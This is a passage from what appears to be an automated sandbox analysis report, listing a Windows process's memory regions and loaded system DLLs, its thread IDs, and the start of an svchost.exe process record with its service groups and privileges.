halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 1095 start_va = 0x7b80000 end_va = 0x7bfffff entry_point = 0x0 region_type = private name = "private_0x0000000007b80000" filename = "" Region: id = 1096 start_va = 0x7fef8ee0000 end_va = 0x7fef8eeafff entry_point = 0x7fef8ee0000 region_type = mapped_file name = "ehsso.dll" filename = "\\Windows\\ehome\\ehSSO.dll" (normalized: "c:\\windows\\ehome\\ehsso.dll") Region: id = 1097 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1098 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1099 start_va = 0x5010000 end_va = 0x5010fff entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 1100 start_va = 0x5190000 end_va = 0x520ffff entry_point = 0x0 region_type = private name = "private_0x0000000005190000" filename = "" Region: id = 1101 start_va = 0x7fef64c0000 end_va = 0x7fef674afff entry_point = 0x7fef64c0000 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 1102 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1103 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1104 start_va = 0x7fefb0d0000 end_va = 0x7fefb0e4fff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1105 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1106 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1107 start_va = 0x5020000 end_va = 0x5020fff entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 1108 start_va = 0x7d40000 end_va = 0x7d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000007d40000" filename = "" Region: id = 1109 start_va = 0x7da0000 end_va = 0x7daffff entry_point = 0x0 region_type = private name = "private_0x0000000007da0000" filename = "" Region: id = 1110 start_va = 0x7fef87d0000 end_va = 0x7fef87dffff entry_point = 0x7fef87d0000 region_type = mapped_file name = "alttab.dll" filename = "\\Windows\\System32\\AltTab.dll" (normalized: "c:\\windows\\system32\\alttab.dll") Region: id = 1111 start_va = 0x7c00000 end_va = 0x7c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000007c00000" filename = "" Region: id = 1112 start_va = 0x7db0000 end_va = 0x7faffff entry_point = 0x0 region_type = private name = "private_0x0000000007db0000" filename = "" Region: id = 1113 start_va = 0x7fef8290000 end_va = 0x7fef82affff entry_point = 0x7fef8290000 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 1114 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1115 start_va = 0x7fef8040000 end_va = 0x7fef8078fff entry_point = 0x7fef8040000 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 1116 start_va = 0x7fef6a70000 end_va = 0x7fef6b2cfff entry_point = 0x7fef6a70000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 1117 start_va = 0x7fef2f60000 end_va = 0x7fef3b16fff entry_point = 0x7fef2f60000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 1118 start_va = 0x7fef5740000 end_va = 0x7fef5793fff entry_point = 0x7fef5740000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 1119 start_va = 0x4e80000 end_va = 0x4e80fff entry_point = 0x4e80000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 1120 start_va = 0x4e90000 end_va = 0x4e91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e90000" filename = "" Region: id = 1121 start_va = 0x4ea0000 end_va = 0x4ea0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ea0000" filename = "" Region: id = 1122 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f9fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1123 start_va = 0x6b80000 end_va = 0x6bfffff entry_point = 0x0 region_type = private name = "private_0x0000000006b80000" filename = "" Region: id = 1124 start_va = 0x7fef5580000 end_va = 0x7fef573cfff entry_point = 0x7fef5580000 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 1125 start_va = 0x7fef80c0000 end_va = 0x7fef80defff entry_point = 0x7fef80c0000 region_type = mapped_file name = "qutil.dll" filename = "\\Windows\\System32\\QUTIL.DLL" (normalized: "c:\\windows\\system32\\qutil.dll") Region: id = 1126 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1127 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 1128 start_va = 0x8110000 end_va = 0x818ffff entry_point = 0x0 region_type = private name = "private_0x0000000008110000" filename = "" Region: id = 1129 start_va = 0x7fef7800000 end_va = 0x7fef7863fff entry_point = 0x7fef7800000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1130 start_va = 0x7fef7870000 end_va = 0x7fef78e0fff entry_point = 0x7fef7870000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1131 start_va = 0x7fef78f0000 end_va = 0x7fef7927fff entry_point = 0x7fef78f0000 region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 1132 start_va = 0x7fefadf0000 end_va = 0x7fefae42fff entry_point = 0x7fefadf0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1133 start_va = 0x8020000 end_va = 0x809ffff entry_point = 0x0 region_type = private name = "private_0x0000000008020000" filename = "" Region: id = 1134 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1135 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1136 start_va = 0x4eb0000 end_va = 0x4eb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004eb0000" filename = "" Region: id = 1137 start_va = 0x7fefb200000 end_va = 0x7fefb326fff entry_point = 0x7fefb200000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1138 start_va = 0x723d0000 end_va = 0x73725fff entry_point = 0x723d0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1139 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1140 start_va = 0x7ab0000 end_va = 0x7b6ffff entry_point = 0x7ab0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1141 start_va = 0x71070000 end_va = 0x723c5fff entry_point = 0x71070000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1142 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1143 start_va = 0x7fef6060000 end_va = 0x7fef609efff entry_point = 0x7fef6060000 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 1333 start_va = 0x7fefb700000 end_va = 0x7fefb70bfff entry_point = 0x7fefb700000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1344 start_va = 0x4ec0000 end_va = 0x4ecffff entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 1345 start_va = 0x4ed0000 end_va = 0x4ed7fff entry_point = 0x0 region_type = private name = "private_0x0000000004ed0000" filename = "" Region: id = 1346 start_va = 0x5000000 end_va = 0x5001fff entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 1347 start_va = 0x5030000 end_va = 0x504ffff entry_point = 0x0 region_type = private name = "private_0x0000000005030000" filename = "" Region: id = 1348 start_va = 0x50d0000 end_va = 0x50e1fff entry_point = 0x0 region_type = private name = "private_0x00000000050d0000" filename = "" Region: id = 1349 start_va = 0x5170000 end_va = 0x5170fff entry_point = 0x0 region_type = private name = "private_0x0000000005170000" filename = "" Region: id = 1350 start_va = 0x8030000 end_va = 0x80affff entry_point = 0x0 region_type = private name = "private_0x0000000008030000" filename = "" Region: id = 1351 start_va = 0x8190000 end_va = 0x838ffff entry_point = 0x0 region_type = private name = "private_0x0000000008190000" filename = "" Region: id = 1352 start_va = 0x7fef6960000 end_va = 0x7fef69dafff entry_point = 0x7fef6960000 region_type = mapped_file name = "structuredquery.dll" filename = "\\Windows\\System32\\StructuredQuery.dll" (normalized: "c:\\windows\\system32\\structuredquery.dll") Region: id = 1353 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1362 start_va = 0x7c90000 end_va = 0x7d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000007c90000" filename = "" Region: id = 1363 start_va = 0x7fef9080000 end_va = 0x7fef90d7fff entry_point = 0x7fef9080000 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 1364 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1365 start_va = 0x5180000 end_va = 0x5181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005180000" filename = "" Region: id = 1366 start_va = 0x6c00000 end_va = 0x6c01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006c00000" filename = "" Region: id = 1367 start_va = 0x7fef5530000 end_va = 0x7fef5579fff entry_point = 0x7fef5530000 region_type = mapped_file name = "webcheck.dll" filename = "\\Windows\\System32\\webcheck.dll" (normalized: "c:\\windows\\system32\\webcheck.dll") Region: id = 1368 start_va = 0x7fef7ee0000 end_va = 0x7fef7f1afff entry_point = 0x7fef7ee0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 1369 start_va = 0x7fef5350000 end_va = 0x7fef557afff entry_point = 0x7fef5350000 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 1370 start_va = 0x6c10000 end_va = 0x6c11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006c10000" filename = "" Region: id = 1371 start_va = 0x76c0000 end_va = 0x773ffff entry_point = 0x0 region_type = private name = "private_0x00000000076c0000" filename = "" Region: id = 1372 start_va = 0x8390000 end_va = 0x96e5fff entry_point = 0x8390000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1373 start_va = 0x7fef5280000 end_va = 0x7fef5341fff entry_point = 0x7fef5280000 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 1374 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1375 start_va = 0x7fefaaa0000 end_va = 0x7fefaab7fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1376 start_va = 0x7fef9070000 end_va = 0x7fef9079fff entry_point = 0x7fef9070000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 1377 start_va = 0x7fef7ef0000 end_va = 0x7fef7f11fff entry_point = 0x7fef7ef0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 1378 start_va = 0x7fef6a50000 end_va = 0x7fef6a6bfff entry_point = 0x7fef6a50000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 1379 start_va = 0x7fef87c0000 end_va = 0x7fef87c9fff entry_point = 0x7fef87c0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 1380 start_va = 0x7fef5200000 end_va = 0x7fef527efff entry_point = 0x7fef5200000 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 1381 start_va = 0x6c20000 end_va = 0x6c21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006c20000" filename = "" Region: id = 1382 start_va = 0x7fef4f80000 end_va = 0x7fef51f0fff entry_point = 0x7fef4f80000 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 1383 start_va = 0x6c30000 end_va = 0x6c33fff entry_point = 0x0 region_type = private name = "private_0x0000000006c30000" filename = "" Region: id = 1384 start_va = 0x6cc0000 end_va = 0x6cc0fff entry_point = 0x6cc0000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 1385 start_va = 0x6cd0000 end_va = 0x6cd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006cd0000" filename = "" Region: id = 1386 start_va = 0x6d00000 end_va = 0x6d47fff entry_point = 0x0 region_type = private name = "private_0x0000000006d00000" filename = "" Region: id = 1387 start_va = 0x6df0000 end_va = 0x6e45fff entry_point = 0x6df0000 region_type = mapped_file name = "shellstyle.dll" filename = "\\Windows\\Resources\\Themes\\Aero\\Shell\\NormalColor\\shellstyle.dll" (normalized: "c:\\windows\\resources\\themes\\aero\\shell\\normalcolor\\shellstyle.dll") Region: id = 1388 start_va = 0x71070000 end_va = 0x723c5fff entry_point = 0x71070000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1389 start_va = 0x7fef4f20000 end_va = 0x7fef4f74fff entry_point = 0x7fef4f20000 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 1390 start_va = 0x7fef6850000 end_va = 0x7fef6880fff entry_point = 0x7fef6850000 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 1391 start_va = 0x6ce0000 end_va = 0x6ce0fff entry_point = 0x6ce0000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 1392 start_va = 0x6d50000 end_va = 0x6d50fff entry_point = 0x6d50000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 1393 start_va = 0x6d60000 end_va = 0x6d60fff entry_point = 0x6d60000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 1394 start_va = 0x6e50000 end_va = 0x6e50fff entry_point = 0x6e50000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 1395 start_va = 0x8390000 end_va = 0x848ffff entry_point = 0x8390000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 1396 start_va = 0x8490000 end_va = 0x858ffff entry_point = 0x8490000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 1397 start_va = 0x8590000 end_va = 0x98e5fff entry_point = 0x8590000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1398 start_va = 0x7fef6270000 end_va = 0x7fef6296fff entry_point = 0x7fef6270000 region_type = mapped_file name = "ehstorapi.dll" filename = "\\Windows\\System32\\EhStorAPI.dll" (normalized: "c:\\windows\\system32\\ehstorapi.dll") Region: id = 1399 start_va = 0x7fef6940000 end_va = 0x7fef695ffff entry_point = 0x7fef6940000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1400 start_va = 0x7fef8280000 end_va = 0x7fef8286fff entry_point = 0x7fef8280000 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 1401 start_va = 0x7fef4ec0000 end_va = 0x7fef4f1dfff entry_point = 0x7fef4ec0000 region_type = mapped_file name = "wwanapi.dll" filename = "\\Windows\\System32\\WWanAPI.dll" (normalized: "c:\\windows\\system32\\wwanapi.dll") Region: id = 1402 start_va = 0x7fef7ee0000 end_va = 0x7fef7eecfff entry_point = 0x7fef7ee0000 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 1403 start_va = 0x8650000 end_va = 0x86cffff entry_point = 0x0 region_type = private name = "private_0x0000000008650000" filename = "" Region: id = 1404 start_va = 0x7fef4dd0000 end_va = 0x7fef4e14fff entry_point = 0x7fef4dd0000 region_type = mapped_file name = "qagent.dll" filename = "\\Windows\\System32\\QAGENT.DLL" (normalized: "c:\\windows\\system32\\qagent.dll") Region: id = 1405 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1406 start_va = 0x87b0000 end_va = 0x882ffff entry_point = 0x0 region_type = private name = "private_0x00000000087b0000" filename = "" Region: id = 1407 start_va = 0x7fef4340000 end_va = 0x7fef43f4fff entry_point = 0x7fef4340000 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 1472 start_va = 0x6df0000 end_va = 0x6df1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006df0000" filename = "" Region: id = 1473 start_va = 0x6e00000 end_va = 0x6e06fff entry_point = 0x6e00000 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 1474 start_va = 0x7fefb8c0000 end_va = 0x7fefb933fff entry_point = 0x7fefb8c0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1509 start_va = 0x6e10000 end_va = 0x6e11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006e10000" filename = "" Region: id = 1510 start_va = 0x7fef4040000 end_va = 0x7fef4116fff entry_point = 0x7fef4040000 region_type = mapped_file name = "fxsst.dll" filename = "\\Windows\\System32\\FXSST.dll" (normalized: "c:\\windows\\system32\\fxsst.dll") Region: id = 1511 start_va = 0x7fef4d30000 end_va = 0x7fef4dccfff entry_point = 0x7fef4d30000 region_type = mapped_file name = "fxsapi.dll" filename = "\\Windows\\System32\\FXSAPI.dll" (normalized: "c:\\windows\\system32\\fxsapi.dll") Region: id = 1530 start_va = 0x29d0000 end_va = 0x29d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029d0000" filename = "" Region: id = 1531 start_va = 0x8870000 end_va = 0x88effff entry_point = 0x0 region_type = private name = "private_0x0000000008870000" filename = "" Region: id = 1532 start_va = 0x751c0000 end_va = 0x752a2fff entry_point = 0x751c0000 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 1533 start_va = 0x7fef4020000 end_va = 0x7fef4032fff entry_point = 0x7fef4020000 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 1534 start_va = 0x7fef88b0000 end_va = 0x7fef89cefff entry_point = 0x7fef88b0000 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 1535 start_va = 0x7fef8a90000 end_va = 0x7fef8ab7fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 1536 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1697 start_va = 0x7fef50c0000 end_va = 0x7fef51fbfff entry_point = 0x7fef50c0000 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 1698 start_va = 0x7fef8a70000 end_va = 0x7fef8a88fff entry_point = 0x7fef8a70000 region_type = mapped_file name = "wercplsupport.dll" filename = "\\Windows\\System32\\wercplsupport.dll" (normalized: "c:\\windows\\system32\\wercplsupport.dll") Region: id = 1699 start_va = 0x7fef8ca0000 end_va = 0x7fef8cebfff entry_point = 0x7fef8ca0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1700 start_va = 0x29e0000 end_va = 0x29e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029e0000" filename = "" Region: id = 1701 start_va = 0x7fef8a60000 end_va = 0x7fef8a6afff entry_point = 0x7fef8a60000 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Thread: id = 24 os_tid = 0x58c Thread: id = 25 os_tid = 0x4ac Thread: id = 26 os_tid = 0x530 Thread: id = 27 os_tid = 0x648 Thread: id = 28 os_tid = 0x4d8 Thread: id = 29 os_tid = 0x4c8 Thread: id = 30 os_tid = 0x470 Thread: id = 31 os_tid = 0x4b8 Thread: id = 32 os_tid = 0x7ac Thread: id = 33 os_tid = 0x41c Thread: id = 34 os_tid = 0x154 Thread: id = 35 os_tid = 0x6c8 Thread: id = 36 os_tid = 0x4c4 Thread: id = 37 os_tid = 0x6a0 Thread: id = 38 os_tid = 0x224 Thread: id = 39 os_tid = 0x310 Thread: id = 40 os_tid = 0x6d4 Thread: id = 41 os_tid = 0x758 Thread: id = 42 os_tid = 0x5f0 Thread: id = 43 os_tid = 0x660 Thread: id = 44 os_tid = 0x118 Thread: id = 45 os_tid = 0x518 Thread: id = 46 os_tid = 0x1c8 Thread: id = 61 os_tid = 0x38c Thread: id = 62 os_tid = 0x5a4 Thread: id = 63 os_tid = 0x5f4 Thread: id = 64 os_tid = 0x7e4 Thread: id = 65 os_tid = 0x798 Thread: id = 66 os_tid = 0x4f4 Thread: id = 67 os_tid = 0x4ac Thread: id = 68 os_tid = 0x658 Thread: id = 69 os_tid = 0x514 Thread: id = 70 os_tid = 0x6f8 Thread: id = 71 os_tid = 0x4b4 Thread: id = 72 os_tid = 0x558 Thread: id = 73 os_tid = 0x5cc Thread: id = 74 os_tid = 0x5c4 Thread: id = 96 os_tid = 0x624 Thread: id = 97 os_tid = 0x56c Thread: id = 98 os_tid = 0x218 Thread: id = 99 os_tid = 0x52c Thread: id = 109 os_tid = 0x808 Thread: id = 110 os_tid = 0x828 Thread: id = 111 os_tid = 0x830 Thread: id = 132 os_tid = 0x92c Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9c04000" os_pid = "0x3fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x6c0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dd65" [0xc000000f], "LOCAL" 